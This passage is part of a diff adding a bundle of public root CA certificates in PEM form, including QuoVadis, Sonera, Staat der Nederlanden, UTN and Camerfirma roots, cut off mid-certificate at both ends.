+ElF1b1ZhZGlzIFJvb3QgQ0EgMoICBQkwDQYJKoZIhvcNAQEFBQADggIBAD4KFk2fBluornFdLwUv
+Z+YTRYPENvbzwCYMDbVHZF34tHLJRqUDGCdViXh9duqWNIAXINzng/iN/Ae42l9NLmeyhP3ZRPx3
+UIHmfLTJDQtyU/h2BwdBR5YM++CCJpNVjP4iH2BlfF/nJrP3MpCYUNQ3cVX2kiF495V5+vgtJodm
+VjB3pjd4M1IQWK4/YY7yarHvGH5KWWPKjaJW1acvvFYfzznB4vsKqBUsfU16Y8Zsl0Q80m/DShcK
++JDSV6IZUaUtl0HaB0+pUNqQjZRG4T7wlP0QADj1O+hA4bRuVhogzG9Yje0uRY/W6ZM/57Es3zrW
+IozchLsib9D45MY56QSIPMO661V6bYCZJPVsAfv4l7CUW+v90m/xd2gNNWQjrLhVoQPRTUIZ3Ph1
+WVaj+ahJefivDrkRoHy3au000LYmYjgahwz46P0u05B/B5EqHdZ+XIWDmbA4CD/pXvk1B+TJYm5X
+f6dQlfe6yJvmjqIBxdZmv3lh8zwc4bmCXF2gw+nYSL0ZohEUGW6yhhtoPkg3Goi3XZZenMfvJ2II
+4pEZXNLxId26F0KCl3GBUzGpn/Z9Yr9y4aOTHcyKJloJONDO1w2AFrR4pTqHTI2KpdVGl/IsELm8
+VCLAAVBpQ570su9t+Oza8eOx79+Rj1QqCyXBJhnEUhAFZdWCEOrCMc0u
+-----END CERTIFICATE-----
+
+QuoVadis Root CA 3
+==================
+-----BEGIN CERTIFICATE-----
+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
+-----END CERTIFICATE-----
+
+Security Communication Root CA
+==============================
+-----BEGIN CERTIFICATE-----
+MIIDWjCCAkKgAwIBAgIBADANBgkqhkiG9w0BAQUFADBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP
+U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw
+HhcNMDMwOTMwMDQyMDQ5WhcNMjMwOTMwMDQyMDQ5WjBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP
+U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw
+ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzs/5/022x7xZ8V6UMbXaKL0u/ZPtM7orw
+8yl89f/uKuDp6bpbZCKamm8sOiZpUQWZJtzVHGpxxpp9Hp3dfGzGjGdnSj74cbAZJ6kJDKaVv0uM
+DPpVmDvY6CKhS3E4eayXkmmziX7qIWgGmBSWh9JhNrxtJ1aeV+7AwFb9Ms+k2Y7CI9eNqPPYJayX
+5HA49LY6tJ07lyZDo6G8SVlyTCMwhwFY9k6+HGhWZq/NQV3Is00qVUarH9oe4kA92819uZKAnDfd
+DJZkndwi92SL32HeFZRSFaB9UslLqCHJxrHty8OVYNEP8Ktw+N/LTX7s1vqr2b1/VPKl6Xn62dZ2
+JChzAgMBAAGjPzA9MB0GA1UdDgQWBBSgc0mZaNyFW2XjmygvV5+9M7wHSDALBgNVHQ8EBAMCAQYw
+DwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAaECpqLvkT115swW1F7NgE+vGkl3g
+0dNq/vu+m22/xwVtWSDEHPC32oRYAmP6SBbvT6UL90qY8j+eG61Ha2POCEfrUj94nK9NrvjVT8+a
+mCoQQTlSxN3Zmw7vkwGusi7KaEIkQmywszo+zenaSMQVy+n5Bw+SUEmK3TGXX8npN6o7WWWXlDLJ
+s58+OmJYxUmtYg5xpTKqL8aJdkNAExNnPaJUJRDL8Try2frbSVa7pv6nQTXD4IhhyYjH3zYQIphZ
+6rBK+1YWc26sTfcioU+tHXotRSflMMFe8toTyyVCUZVHA4xsIcx0Qu1T/zOLjw9XARYvz6buyXAi
+FL39vmwLAw==
+-----END CERTIFICATE-----
+
+Sonera Class 2 Root CA
+======================
+-----BEGIN CERTIFICATE-----
+MIIDIDCCAgigAwIBAgIBHTANBgkqhkiG9w0BAQUFADA5MQswCQYDVQQGEwJGSTEPMA0GA1UEChMG
+U29uZXJhMRkwFwYDVQQDExBTb25lcmEgQ2xhc3MyIENBMB4XDTAxMDQwNjA3Mjk0MFoXDTIxMDQw
+NjA3Mjk0MFowOTELMAkGA1UEBhMCRkkxDzANBgNVBAoTBlNvbmVyYTEZMBcGA1UEAxMQU29uZXJh
+IENsYXNzMiBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJAXSjWdyvANlsdE+hY3
+/Ei9vX+ALTU74W+oZ6m/AxxNjG8yR9VBaKQTBME1DJqEQ/xcHf+Js+gXGM2RX/uJ4+q/Tl18GybT
+dXnt5oTjV+WtKcT0OijnpXuENmmz/V52vaMtmdOQTiMofRhj8VQ7Jp12W5dCsv+u8E7s3TmVToMG
+f+dJQMjFAbJUWmYdPfz56TwKnoG4cPABi+QjVHzIrviQHgCWctRUz2EjvOr7nQKV0ba5cTppCD8P
+tOFCx4j1P5iop7oc4HFx71hXgVB6XGt0Rg6DA5jDjqhu8nYybieDwnPz3BjotJPqdURrBGAgcVeH
+nfO+oJAjPYok4doh28MCAwEAAaMzMDEwDwYDVR0TAQH/BAUwAwEB/zARBgNVHQ4ECgQISqCqWITT
+XjwwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQBazof5FnIVV0sd2ZvnoiYw7JNn39Yt
+0jSv9zilzqsWuasvfDXLrNAPtEwr/IDva4yRXzZ299uzGxnq9LIR/WFxRL8oszodv7ND6J+/3DEI
+cbCdjdY0RzKQxmUk96BKfARzjzlvF4xytb1LyHr4e4PDKE6cCepnP7JnBBvDFNr450kkkdAdavph
+Oe9r5yF1BgfYErQhIHBCcYHaPJo2vqZbDWpsmh+Re/n570K6Tk6ezAyNlNzZRZxe7EJQY670XcSx
+EtzKO6gunRRaBXW37Ndj4ro1tgQIkejanZz2ZrUYrAqmVCY0M9IbwdR/GjqOC6oybtv8TyWf2TLH
+llpwrN9M
+-----END CERTIFICATE-----
+
+Staat der Nederlanden Root CA
+=============================
+-----BEGIN CERTIFICATE-----
+MIIDujCCAqKgAwIBAgIEAJiWijANBgkqhkiG9w0BAQUFADBVMQswCQYDVQQGEwJOTDEeMBwGA1UE
+ChMVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSYwJAYDVQQDEx1TdGFhdCBkZXIgTmVkZXJsYW5kZW4g
+Um9vdCBDQTAeFw0wMjEyMTcwOTIzNDlaFw0xNTEyMTYwOTE1MzhaMFUxCzAJBgNVBAYTAk5MMR4w
+HAYDVQQKExVTdGFhdCBkZXIgTmVkZXJsYW5kZW4xJjAkBgNVBAMTHVN0YWF0IGRlciBOZWRlcmxh
+bmRlbiBSb290IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmNK1URF6gaYUmHFt
+vsznExvWJw56s2oYHLZhWtVhCb/ekBPHZ+7d89rFDBKeNVU+LCeIQGv33N0iYfXCxw719tV2U02P
+jLwYdjeFnejKScfST5gTCaI+Ioicf9byEGW07l8Y1Rfj+MX94p2i71MOhXeiD+EwR+4A5zN9RGca
+C1Hoi6CeUJhoNFIfLm0B8mBF8jHrqTFoKbt6QZ7GGX+UtFE5A3+y3qcym7RHjm+0Sq7lr7HcsBth
+vJly3uSJt3omXdozSVtSnA71iq3DuD3oBmrC1SoLbHuEvVYFy4ZlkuxEK7COudxwC0barbxjiDn6
+22r+I/q85Ej0ZytqERAhSQIDAQABo4GRMIGOMAwGA1UdEwQFMAMBAf8wTwYDVR0gBEgwRjBEBgRV
+HSAAMDwwOgYIKwYBBQUHAgEWLmh0dHA6Ly93d3cucGtpb3ZlcmhlaWQubmwvcG9saWNpZXMvcm9v
+dC1wb2xpY3kwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSofeu8Y6R0E3QA7Jbg0zTBLL9s+DAN
+BgkqhkiG9w0BAQUFAAOCAQEABYSHVXQ2YcG70dTGFagTtJ+k/rvuFbQvBgwp8qiSpGEN/KtcCFtR
+EytNwiphyPgJWPwtArI5fZlmgb9uXJVFIGzmeafR2Bwp/MIgJ1HI8XxdNGdphREwxgDS1/PTfLbw
+MVcoEoJz6TMvplW0C5GUR5z6u3pCMuiufi3IvKwUv9kP2Vv8wfl6leF9fpb8cbDCTMjfRTTJzg3y
+nGQI0DvDKcWy7ZAEwbEpkcUwb8GpcjPM/l0WFywRaed+/sWDCN+83CI6LiBpIzlWYGeQiy52OfsR
+iJf2fL1LuCAWZwWN4jvBcj+UlTfHXbme2JOhF4//DGYVwSR8MnwDHTuhWEUykw==
+-----END CERTIFICATE-----
+
+TDC Internet Root CA
+====================
+-----BEGIN CERTIFICATE-----
+MIIEKzCCAxOgAwIBAgIEOsylTDANBgkqhkiG9w0BAQUFADBDMQswCQYDVQQGEwJESzEVMBMGA1UE
+ChMMVERDIEludGVybmV0MR0wGwYDVQQLExRUREMgSW50ZXJuZXQgUm9vdCBDQTAeFw0wMTA0MDUx
+NjMzMTdaFw0yMTA0MDUxNzAzMTdaMEMxCzAJBgNVBAYTAkRLMRUwEwYDVQQKEwxUREMgSW50ZXJu
+ZXQxHTAbBgNVBAsTFFREQyBJbnRlcm5ldCBSb290IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
+MIIBCgKCAQEAxLhAvJHVYx/XmaCLDEAedLdInUaMArLgJF/wGROnN4NrXceO+YQwzho7+vvOi20j
+xsNuZp+Jpd/gQlBn+h9sHvTQBda/ytZO5GhgbEaqHF1j4QeGDmUApy6mcca8uYGoOn0a0vnRrEvL
+znWv3Hv6gXPU/Lq9QYjUdLP5Xjg6PEOo0pVOd20TDJ2PeAG3WiAfAzc14izbSysseLlJ28TQx5yc
+5IogCSEWVmb/Bexb4/DPqyQkXsN/cHoSxNK1EKC2IeGNeGlVRGn1ypYcNIUXJXfi9i8nmHj9eQY6
+otZaQ8H/7AQ77hPv01ha/5Lr7K7a8jcDR0G2l8ktCkEiu7vmpwIDAQABo4IBJTCCASEwEQYJYIZI
+AYb4QgEBBAQDAgAHMGUGA1UdHwReMFwwWqBYoFakVDBSMQswCQYDVQQGEwJESzEVMBMGA1UEChMM
+VERDIEludGVybmV0MR0wGwYDVQQLExRUREMgSW50ZXJuZXQgUm9vdCBDQTENMAsGA1UEAxMEQ1JM
+MTArBgNVHRAEJDAigA8yMDAxMDQwNTE2MzMxN1qBDzIwMjEwNDA1MTcwMzE3WjALBgNVHQ8EBAMC
+AQYwHwYDVR0jBBgwFoAUbGQBx/2FbazI2p5QCIUItTxWqFAwHQYDVR0OBBYEFGxkAcf9hW2syNqe
+UAiFCLU8VqhQMAwGA1UdEwQFMAMBAf8wHQYJKoZIhvZ9B0EABBAwDhsIVjUuMDo0LjADAgSQMA0G
+CSqGSIb3DQEBBQUAA4IBAQBOQ8zR3R0QGwZ/t6T609lN+yOfI1Rb5osvBCiLtSdtiaHsmGnc540m
+gwV5dOy0uaOXwTUA/RXaOYE6lTGQ3pfphqiZdwzlWqCE/xIWrG64jcN7ksKsLtB9KOy282A4aW8+
+2ARVPp7MVdK6/rtHBNcK2RYKNCn1WBPVT8+PVkuzHu7TmHnaCB4Mb7j4Fifvwm899qNLPg7kbWzb
+O0ESm70NRyN/PErQr8Cv9u8btRXE64PECV90i9kR+8JWsTz4cMo0jUNAE4z9mQNUecYu6oah9jrU
+Cbz0vGbMPVjQV0kK7iXiQe4T+Zs4NNEA9X7nlB38aQNiuJkFBT1reBK9sG9l
+-----END CERTIFICATE-----
+
+UTN DATACorp SGC Root CA
+========================
+-----BEGIN CERTIFICATE-----
+MIIEXjCCA0agAwIBAgIQRL4Mi1AAIbQR0ypoBqmtaTANBgkqhkiG9w0BAQUFADCBkzELMAkGA1UE
+BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl
+IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xGzAZ
+BgNVBAMTElVUTiAtIERBVEFDb3JwIFNHQzAeFw05OTA2MjQxODU3MjFaFw0xOTA2MjQxOTA2MzBa
+MIGTMQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQxFzAVBgNVBAcTDlNhbHQgTGFrZSBDaXR5MR4w
+HAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxITAfBgNVBAsTGGh0dHA6Ly93d3cudXNlcnRy
+dXN0LmNvbTEbMBkGA1UEAxMSVVROIC0gREFUQUNvcnAgU0dDMIIBIjANBgkqhkiG9w0BAQEFAAOC
+AQ8AMIIBCgKCAQEA3+5YEKIrblXEjr8uRgnn4AgPLit6E5Qbvfa2gI5lBZMAHryv4g+OGQ0SR+ys
+raP6LnD43m77VkIVni5c7yPeIbkFdicZD0/Ww5y0vpQZY/KmEQrrU0icvvIpOxboGqBMpsn0GFlo
+wHDyUwDAXlCCpVZvNvlK4ESGoE1O1kduSUrLZ9emxAW5jh70/P/N5zbgnAVssjMiFdC04MwXwLLA
+9P4yPykqlXvY8qdOD1R8oQ2AswkDwf9c3V6aPryuvEeKaq5xyh+xKrhfQgUL7EYw0XILyulWbfXv
+33i+Ybqypa4ETLyorGkVl73v67SMvzX41MPRKA5cOp9wGDMgd8SirwIDAQABo4GrMIGoMAsGA1Ud
+DwQEAwIBxjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRTMtGzz3/64PGgXYVOktKeRR20TzA9
+BgNVHR8ENjA0MDKgMKAuhixodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vVVROLURBVEFDb3JwU0dD
+LmNybDAqBgNVHSUEIzAhBggrBgEFBQcDAQYKKwYBBAGCNwoDAwYJYIZIAYb4QgQBMA0GCSqGSIb3
+DQEBBQUAA4IBAQAnNZcAiosovcYzMB4p/OL31ZjUQLtgyr+rFywJNn9Q+kHcrpY6CiM+iVnJowft
+Gzet/Hy+UUla3joKVAgWRcKZsYfNjGjgaQPpxE6YsjuMFrMOoAyYUJuTqXAJyCyjj98C5OBxOvG0
+I3KgqgHf35g+FFCgMSa9KOlaMCZ1+XtgHI3zzVAmbQQnmt/VDUVHKWss5nbZqSl9Mt3JNjy9rjXx
+EZ4du5A/EkdOjtd+D2JzHVImOBwYSf0wdJrE5SIv2MCN7ZF6TACPcn9d2t0bi0Vr591pl6jFVkwP
+DPafepE39peC4N1xaf92P2BNPM/3mfnGV/TJVTl4uix5yaaIK/QI
+-----END CERTIFICATE-----
+
+UTN USERFirst Hardware Root CA
+==============================
+-----BEGIN CERTIFICATE-----
+MIIEdDCCA1ygAwIBAgIQRL4Mi1AAJLQR0zYq/mUK/TANBgkqhkiG9w0BAQUFADCBlzELMAkGA1UE
+BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl
+IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xHzAd
+BgNVBAMTFlVUTi1VU0VSRmlyc3QtSGFyZHdhcmUwHhcNOTkwNzA5MTgxMDQyWhcNMTkwNzA5MTgx
+OTIyWjCBlzELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0
+eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVz
+ZXJ0cnVzdC5jb20xHzAdBgNVBAMTFlVUTi1VU0VSRmlyc3QtSGFyZHdhcmUwggEiMA0GCSqGSIb3
+DQEBAQUAA4IBDwAwggEKAoIBAQCx98M4P7Sof885glFn0G2f0v9Y8+efK+wNiVSZuTiZFvfgIXlI
+wrthdBKWHTxqctU8EGc6Oe0rE81m65UJM6Rsl7HoxuzBdXmcRl6Nq9Bq/bkqVRcQVLMZ8Jr28bFd
+tqdt++BxF2uiiPsA3/4aMXcMmgF6sTLjKwEHOG7DpV4jvEWbe1DByTCP2+UretNb+zNAHqDVmBe8
+i4fDidNdoI6yqqr2jmmIBsX6iSHzCJ1pLgkzmykNRg+MzEk0sGlRvfkGzWitZky8PqxhvQqIDsjf
+Pe58BEydCl5rkdbux+0ojatNh4lz0G6k0B4WixThdkQDf2Os5M1JnMWS9KsyoUhbAgMBAAGjgbkw
+gbYwCwYDVR0PBAQDAgHGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFKFyXyYbKJhDlV0HN9WF
+lp1L0sNFMEQGA1UdHwQ9MDswOaA3oDWGM2h0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9VVE4tVVNF
+UkZpcnN0LUhhcmR3YXJlLmNybDAxBgNVHSUEKjAoBggrBgEFBQcDAQYIKwYBBQUHAwUGCCsGAQUF
+BwMGBggrBgEFBQcDBzANBgkqhkiG9w0BAQUFAAOCAQEARxkP3nTGmZev/K0oXnWO6y1n7k57K9cM
+//bey1WiCuFMVGWTYGufEpytXoMs61quwOQt9ABjHbjAbPLPSbtNk28GpgoiskliCE7/yMgUsogW
+XecB5BKV5UU0s4tpvc+0hY91UZ59Ojg6FEgSxvunOxqNDYJAB+gECJChicsZUN/KHAG8HQQZexB2
+lzvukJDKxA4fFm517zP4029bHpbj4HR3dHuKom4t3XbWOTCC8KucUvIqx69JXn7HaOWCgchqJ/kn
+iCrVWFCVH/A7HFe7fRQ5YiuayZSSKqMiDP+JJn1fIytH1xUdqWqeUQ0qUZ6B+dQ7XnASfxAynB67
+nfhmqA==
+-----END CERTIFICATE-----
+
+Camerfirma Chambers of Commerce Root
+====================================
+-----BEGIN CERTIFICATE-----
+MIIEvTCCA6WgAwIBAgIBADANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJFVTEnMCUGA1UEChMe
+QUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1i
+ZXJzaWduLm9yZzEiMCAGA1UEAxMZQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdDAeFw0wMzA5MzAx
+NjEzNDNaFw0zNzA5MzAxNjEzNDRaMH8xCzAJBgNVBAYTAkVVMScwJQYDVQQKEx5BQyBDYW1lcmZp
+cm1hIFNBIENJRiBBODI3NDMyODcxIzAhBgNVBAsTGmh0dHA6Ly93d3cuY2hhbWJlcnNpZ24ub3Jn
+MSIwIAYDVQQDExlDaGFtYmVycyBvZiBDb21tZXJjZSBSb290MIIBIDANBgkqhkiG9w0BAQEFAAOC
+AQ0AMIIBCAKCAQEAtzZV5aVdGDDg2olUkfzIx1L4L1DZ77F1c2VHfRtbunXF/KGIJPov7coISjlU
+xFF6tdpg6jg8gbLL8bvZkSM/SAFwdakFKq0fcfPJVD0dBmpAPrMMhe5cG3nCYsS4No41XQEMIwRH
+NaqbYE6gZj3LJgqcQKH0XZi/caulAGgq7YN6D6IUtdQis4CwPAxaUWktWBiP7Zme8a7ileb2R6jW
+DA+wWFjbw2Y3npuRVDM30pQcakjJyfKl2qUMI/cjDpwyVV5xnIQFUZot/eZOKjRa3spAN2cMVCFV
+d9oKDMyXroDclDZK9D7ONhMeU+SsTjoF7Nuucpw4i9A5O4kKPnf+dQIBA6OCAUQwggFAMBIGA1Ud
+EwEB/wQIMAYBAf8CAQwwPAYDVR0fBDUwMzAxoC+gLYYraHR0cDovL2NybC5jaGFtYmVyc2lnbi5v
+cmcvY2hhbWJlcnNyb290LmNybDAdBgNVHQ4EFgQU45T1sU3p26EpW1eLTXYGduHRooowDgYDVR0P
+AQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzAnBgNVHREEIDAegRxjaGFtYmVyc3Jvb3RAY2hh
+bWJlcnNpZ24ub3JnMCcGA1UdEgQgMB6BHGNoYW1iZXJzcm9vdEBjaGFtYmVyc2lnbi5vcmcwWAYD
+VR0gBFEwTzBNBgsrBgEEAYGHLgoDATA+MDwGCCsGAQUFBwIBFjBodHRwOi8vY3BzLmNoYW1iZXJz
+aWduLm9yZy9jcHMvY2hhbWJlcnNyb290Lmh0bWwwDQYJKoZIhvcNAQEFBQADggEBAAxBl8IahsAi
+fJ/7kPMa0QOx7xP5IV8EnNrJpY0nbJaHkb5BkAFyk+cefV/2icZdp0AJPaxJRUXcLo0waLIJuvvD
+L8y6C98/d3tGfToSJI6WjzwFCm/SlCgdbQzALogi1djPHRPH8EjX1wWnz8dHnjs8NMiAT9QUu/wN
+UPf6s+xCX6ndbcj0dc97wXImsQEcXCz9ek60AcUFV7nnPKoF2YjpB0ZBzu9Bga5Y34OirsrXdx/n
+ADydb47kMgkdTXg0eDQ8lJsm7U9xxhl6vSAiSFr+S30Dt+dYvsYyTnQeaN2oaFuzPu5ifdmA6Ap1
+erfutGWaIZDgqtCYvDi1czyL+Nw=
+-----END CERTIFICATE-----
+
+Camerfirma Global Chambersign Root
+==================================
+-----BEGIN CERTIFICATE-----
+MIIExTCCA62gAwIBAgIBADANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJFVTEnMCUGA1UEChMe
+QUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1i
+ZXJzaWduLm9yZzEgMB4GA1UEAxMXR2xvYmFsIENoYW1iZXJzaWduIFJvb3QwHhcNMDMwOTMwMTYx
+NDE4WhcNMzcwOTMwMTYxNDE4WjB9MQswCQYDVQQGEwJFVTEnMCUGA1UEChMeQUMgQ2FtZXJmaXJt
+YSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1iZXJzaWduLm9yZzEg
+MB4GA1UEAxMXR2xvYmFsIENoYW1iZXJzaWduIFJvb3QwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAw
+ggEIAoIBAQCicKLQn0KuWxfH2H3PFIP8T8mhtxOviteePgQKkotgVvq0Mi+ITaFgCPS3CU6gSS9J
+1tPfnZdan5QEcOw/Wdm3zGaLmFIoCQLfxS+EjXqXd7/sQJ0lcqu1PzKY+7e3/HKE5TWH+VX6ox8O
+by4o3Wmg2UIQxvi1RMLQQ3/bvOSiPGpVeAp3qdjqGTK3L/5cPxvusZjsyq16aUXjlg9V9ubtdepl
+6DJWk0aJqCWKZQbua795B9Dxt6/tLE2Su8CoX6dnfQTyFQhwrJLWfQTSM/tMtgsL+xrJxI0DqX5c
+8lCrEqWhz0hQpe/SyBoT+rB/sYIcd2oPX9wLlY/vQ37mRQklAgEDo4IBUDCCAUwwEgYDVR0TAQH/
+BAgwBgEB/wIBDDA/BgNVHR8EODA2MDSgMqAwhi5odHRwOi8vY3JsLmNoYW1iZXJzaWduLm9yZy9j
+aGFtYmVyc2lnbnJvb3QuY3JsMB0GA1UdDgQWBBRDnDafsJ4wTcbOX60Qq+UDpfqpFDAOBgNVHQ8B
+Af8EBAMCAQYwEQYJYIZIAYb4QgEBBAQDAgAHMCoGA1UdEQQjMCGBH2NoYW1iZXJzaWducm9vdEBj
+aGFtYmVyc2lnbi5vcmcwKgYDVR0SBCMwIYEfY2hhbWJlcnNpZ25yb290QGNoYW1iZXJzaWduLm9y
+ZzBbBgNVHSAEVDBSMFAGCysGAQQBgYcuCgEBMEEwPwYIKwYBBQUHAgEWM2h0dHA6Ly9jcHMuY2hh
+bWJlcnNpZ24ub3JnL2Nwcy9jaGFtYmVyc2lnbnJvb3QuaHRtbDANBgkqhkiG9w0BAQUFAAOCAQEA
+PDtwkfkEVCeR4e3t/mh/YV3lQWVPMvEYBZRqHN4fcNs+ezICNLUMbKGKfKX0j//U2K0X1S0E0T9Y
+gOKBWYi+wONGkyT+kL0mojAt6JcmVzWJdJYY9hXiryQZVgICsroPFOrGimbBhkVVi76SvpykBMdJ
+PJ7oKXqJ1/6v/2j1pReQvayZzKWGVwlnRtvWFsJG8eSpUPWP0ZIV018+xgBJOm5YstHRJw0lyDL4
+IBHNfTIzSJRUTN3cecQwn+uOuFW114hcxWokPbLTBQNRxgfvzBRydD1ucs4YKIxKoHflCStFREes
+t2d/AYoFWpO+ocH/+OcOZ6RHSXZddZAa9SaP8A==
+-----END CERTIFICATE-----
+
+NetLock Notary (Class A) Root
+=============================
+-----BEGIN CERTIFICATE-----
+MIIGfTCCBWWgAwIBAgICAQMwDQYJKoZIhvcNAQEEBQAwga8xCzAJBgNVBAYTAkhVMRAwDgYDVQQI
+EwdIdW5nYXJ5MREwDwYDVQQHEwhCdWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6
+dG9uc2FnaSBLZnQuMRowGAYDVQQLExFUYW51c2l0dmFueWtpYWRvazE2MDQGA1UEAxMtTmV0TG9j
+ayBLb3pqZWd5em9pIChDbGFzcyBBKSBUYW51c2l0dmFueWtpYWRvMB4XDTk5MDIyNDIzMTQ0N1oX
+DTE5MDIxOTIzMTQ0N1owga8xCzAJBgNVBAYTAkhVMRAwDgYDVQQIEwdIdW5nYXJ5MREwDwYDVQQH
